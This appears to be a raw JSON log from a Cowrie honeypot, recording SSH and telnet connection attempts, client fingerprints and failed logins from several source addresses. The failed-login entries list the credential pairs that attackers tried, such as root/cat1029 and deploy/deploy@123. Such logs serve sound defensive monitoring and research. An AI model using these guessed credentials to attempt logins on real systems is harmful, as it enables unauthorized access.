{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:45.822546Z","src_ip":"46.19.67.181","session":"09f4fd4ef835","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cat1029","message":"login attempt [root/cat1029] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:45.919875Z","src_ip":"176.65.139.118","session":"e2ee32271dee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58936,"dst_ip":"10.17.0.5","dst_port":23,"session":"2534359b8000","protocol":"telnet","message":"New connection: 152.42.224.71:58936 (10.17.0.5:23) [session: 2534359b8000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:46.390218Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58932,"dst_ip":"10.17.0.5","dst_port":23,"session":"dae5290301e8","protocol":"telnet","message":"New connection: 152.42.224.71:58932 (10.17.0.5:23) [session: dae5290301e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:47.322314Z"}
{"eventid":"cowrie.session.closed","duration":7.627491235733032,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:48.419848Z","src_ip":"176.65.139.118","session":"e2ee32271dee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":53452,"dst_ip":"159.203.135.109","dst_port":23,"session":"85dcfdba3622","protocol":"telnet","message":"New connection: 176.65.139.118:53452 (159.203.135.109:23) [session: 85dcfdba3622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:48.508094Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":37858,"dst_ip":"159.203.135.109","dst_port":22,"session":"63a7303d9b23","protocol":"ssh","message":"New connection: 31.40.204.166:37858 (159.203.135.109:22) [session: 63a7303d9b23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:49.501208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:49.506366Z","src_ip":"31.40.204.166","session":"63a7303d9b23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:49.630046Z","src_ip":"31.40.204.166","session":"63a7303d9b23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethan","password":"ethan","message":"login attempt [ethan/ethan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:50.100997Z","src_ip":"31.40.204.166","session":"63a7303d9b23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.4182698726654053,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:50.926298Z","src_ip":"176.65.139.118","session":"85dcfdba3622","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":34162,"dst_ip":"159.203.135.109","dst_port":23,"session":"caef0dbbf2bc","protocol":"telnet","message":"New connection: 176.65.139.118:34162 (159.203.135.109:23) [session: caef0dbbf2bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:51.189348Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:51.398168Z","src_ip":"31.40.204.166","session":"63a7303d9b23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58952,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa49b7a02a2f","protocol":"telnet","message":"New connection: 152.42.224.71:58952 (10.17.0.5:23) [session: fa49b7a02a2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:53.681911Z"}
{"eventid":"cowrie.session.closed","duration":120.00389838218689,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:56.856411Z","src_ip":"152.42.224.71","session":"2b7aca4a97e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.287010431289673,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:58.714996Z","src_ip":"152.42.224.71","session":"1edb32957875","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40282,"dst_ip":"10.17.0.5","dst_port":23,"session":"6106f3ae25c0","protocol":"telnet","message":"New connection: 152.42.224.71:40282 (10.17.0.5:23) [session: 6106f3ae25c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:01.187696Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":50402,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3618d77781e","protocol":"ssh","message":"New connection: 31.40.204.166:50402 (159.203.135.109:22) [session: c3618d77781e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:01.980326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:02.022551Z","src_ip":"31.40.204.166","session":"c3618d77781e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:02.184371Z","src_ip":"31.40.204.166","session":"c3618d77781e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:02.794413Z","src_ip":"31.40.204.166","session":"c3618d77781e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40292,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf0e32565237","protocol":"telnet","message":"New connection: 152.42.224.71:40292 (10.17.0.5:23) [session: bf0e32565237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:03.392328Z"}
{"eventid":"cowrie.session.closed","duration":42.21506667137146,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:03.480770Z","src_ip":"152.42.224.71","session":"60a6b09e7546","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:04.018805Z","src_ip":"31.40.204.166","session":"c3618d77781e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40312,"dst_ip":"10.17.0.5","dst_port":23,"session":"6898fdb809ac","protocol":"telnet","message":"New connection: 152.42.224.71:40312 (10.17.0.5:23) [session: 6898fdb809ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:05.514914Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40298,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bc7b5cd9e85","protocol":"telnet","message":"New connection: 152.42.224.71:40298 (10.17.0.5:23) [session: 7bc7b5cd9e85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:06.035071Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50428,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cae29a4fe72","protocol":"telnet","message":"New connection: 152.42.224.71:50428 (10.17.0.5:23) [session: 8cae29a4fe72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:07.162993Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":39086,"dst_ip":"10.17.0.5","dst_port":22,"session":"98bf8e1367c4","protocol":"ssh","message":"New connection: 103.195.236.96:39086 (10.17.0.5:22) [session: 98bf8e1367c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:12.197126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:12.203085Z","src_ip":"103.195.236.96","session":"98bf8e1367c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.85992240905762,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:12.224062Z","src_ip":"152.42.224.71","session":"b26d27750aa4","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:12.450119Z","src_ip":"103.195.236.96","session":"98bf8e1367c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01011990","message":"login attempt [root/01011990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:13.194479Z","src_ip":"103.195.236.96","session":"98bf8e1367c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":39838,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bc3c898e233","protocol":"ssh","message":"New connection: 31.40.204.166:39838 (159.203.135.109:22) [session: 9bc3c898e233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:14.085677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:14.189839Z","src_ip":"31.40.204.166","session":"9bc3c898e233","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:14.315946Z","src_ip":"31.40.204.166","session":"9bc3c898e233","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:14.438151Z","src_ip":"103.195.236.96","session":"98bf8e1367c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@123","message":"login attempt [deploy/deploy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:14.898717Z","src_ip":"31.40.204.166","session":"9bc3c898e233","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:16.023389Z","src_ip":"31.40.204.166","session":"9bc3c898e233","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.774935483932495,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:17.289720Z","src_ip":"152.42.224.71","session":"6898fdb809ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.51564288139343,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:17.836725Z","src_ip":"152.42.224.71","session":"3ec81d133a43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":34830,"dst_ip":"159.203.135.109","dst_port":22,"session":"12e5bc229baa","protocol":"ssh","message":"New connection: 109.172.54.111:34830 (159.203.135.109:22) [session: 12e5bc229baa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:18.953083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:18.958247Z","src_ip":"109.172.54.111","session":"12e5bc229baa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:19.068464Z","src_ip":"109.172.54.111","session":"12e5bc229baa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"evgeniy","message":"login attempt [root/evgeniy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:19.561583Z","src_ip":"109.172.54.111","session":"12e5bc229baa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:20.661785Z","src_ip":"109.172.54.111","session":"12e5bc229baa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.49332928657532,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:20.815542Z","src_ip":"152.42.224.71","session":"dae5290301e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37806,"dst_ip":"10.17.0.5","dst_port":23,"session":"308718ab6c2a","protocol":"telnet","message":"New connection: 152.42.224.71:37806 (10.17.0.5:23) [session: 308718ab6c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:20.832390Z"}
{"eventid":"cowrie.session.closed","duration":93.20716691017151,"message":"Connection lost after 93 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:23.236726Z","src_ip":"152.42.224.71","session":"7ea4cc278d4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":40008,"dst_ip":"159.203.135.109","dst_port":22,"session":"d88b50b89de7","protocol":"ssh","message":"New connection: 31.40.204.166:40008 (159.203.135.109:22) [session: d88b50b89de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:26.080555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:26.089417Z","src_ip":"31.40.204.166","session":"d88b50b89de7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:26.220005Z","src_ip":"31.40.204.166","session":"d88b50b89de7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111","message":"login attempt [user/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:26.696604Z","src_ip":"31.40.204.166","session":"d88b50b89de7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33374,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e9773cdaa5c","protocol":"telnet","message":"New connection: 152.42.224.71:33374 (10.17.0.5:23) [session: 8e9773cdaa5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:26.886096Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:28.096228Z","src_ip":"31.40.204.166","session":"d88b50b89de7","protocol":"ssh"}
